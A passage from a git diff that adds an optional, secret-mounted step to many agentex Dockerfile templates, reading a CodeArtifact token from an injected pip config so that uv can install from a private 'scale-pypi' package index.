+# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/default/Dockerfile.j2 b/src/agentex/lib/cli/templates/default/Dockerfile.j2 index 0395caf74..7c6d72ed9 100644 --- a/src/agentex/lib/cli/templates/default/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 index 93d0f82d1..36d2cd787 100644 --- a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 @@ -34,7 +34,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -42,6 +64,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 index 6cdc70799..380262f6d 100644 --- a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 @@ -33,8 +33,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 index 02860b9b9..d926486ca 100644 --- a/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 @@ -34,7 +34,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -42,6 +64,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 index afa4470d9..6a6212d3f 100644 --- a/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 @@ -33,8 +33,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 index 4d9f41d45..acc44b89c 100644 --- a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 index 4d9f41d45..acc44b89c 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 index 4d9f41d45..acc44b89c 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 index 4d9f41d45..acc44b89c 100644 --- a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/sync/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync/Dockerfile.j2 index 4d9f41d45..acc44b89c 100644 --- a/src/agentex/lib/cli/templates/sync/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 